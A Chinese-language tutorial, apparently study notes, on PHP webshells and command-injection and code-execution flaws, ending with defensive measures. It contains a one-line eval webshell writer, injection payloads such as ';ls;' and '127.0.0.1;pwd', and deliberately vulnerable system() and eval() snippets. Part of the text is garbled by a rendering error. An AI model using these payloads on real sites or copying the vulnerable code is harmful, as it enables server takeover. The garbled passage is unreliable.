一、利用漏洞获取webshell
漏洞上传,形成一句话木马,利用命令执行获得webshell
fputs(fopen("a.php","w"),'<?php eval($_POST["cmd"])?>');
以防过滤,可以利用ASCII转换,连接执行。
1.要点:要清楚单双引号的区别。
单引号,引号内部的变量不会执行,直接输出。
双引号,会经过编译器解释后执行。
问:你看出来什么端倪了吗?
答:发现单引号只能解析\
与\’
只能将这两个在字符串中 转义成 正常的斜杠与单引号,其他的都是原样输出。
第二个参数---------要当成字符串执行,因此用单引号。
2.{}
php中大括号的作用,如下:
a、不管什么程序,function name(){}, for(){},….这太多了,不说也知道什么用了。
b、KaTeX parse error: Expected '}', got 'EOF' at end of input: …字符串变量当成数组处理 c、{val},这时候大括号起的作用就是,告诉PHP,括起来的要当成变量处理。
二、系统命令执行
应用有时需要调用一些执行系统命令的函数,
如PHP中的system、exec、shell_exec、passthru、popen、proc_popen
等,
当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
利用条件
1.应用调用执行系统命令的函数
2.将用户输入作为系统命令的参数拼接到了命令行中
3.没有对用户输入进行过滤或过滤不严
漏洞分类
1.代码层过滤不严
商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用:
system("/bin/program --arg $arg");
2.系统的漏洞造成命令注入
bash破壳漏洞(CVE-2014-6271)
3.调用的第三方组件存在代码执行漏洞
如WordPress中用来处理图片的ImageMagick组件
JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
ThinkPHP命令执行
漏洞危害
继承Web服务程序的权限去执行系统命令或读写文件
反弹shell
控制整个网站甚至控制服务器
进一步内网渗透
等等
1. system("$arg"); //直接输入即可
2. system("/bin/prog $arg"); //直接输入;ls
3. system("/bin/prog -p $arg"); //和2一样
4. system("/bin/prog --p=\"$arg\""); //可以输入";ls;"
5. system("/bin/prog --p='$arg'"); //可以输入';ls;'
在Linux上,上面的 ; 也可以用 | 、|| 代替
; 前面的执行完执行后面的
| 是管道符,显示后面的执行结果
|| 当前面的执行出错时执行后面的
& 前面的语句为假则直接执行后面的
&& A执行成功,然后才会执行B
在Windows上,不能用 ; 可以用 &、&&、|、|| 代替
A&B 前面的语句为假则直接执行后面的
A&&B A执行成功,然后才会执行B
A|B A的输出,作为B的输入
A||B A执行失败,然后才会执行B
实例:
<?php
$arg = $_GET['cmd'];
if ($arg)
{
system("$arg");
}
?>
payload
cmd=ipconfig
示例二
<?php
$arg = $_GET['cmd'];
if ($arg)
{
system("ping -c 3 $arg");
}
?>
cmd=127.0.0.1;pwd
代码执行:
在cmd.php中的代码如下:
<?php
eval($_REQUEST['code']);
?>
提交http:/127.0.0.1/1.php?code=phpinfo() 后就会执行phpinfo()
三、防护手段
1.禁用部分高危函数
在php.ini,找到disable_functions,添加禁用的函数名
2.严格过滤关键字符
“&&”、 “;” 、 “||” 等
3.严格限制允许的参数类型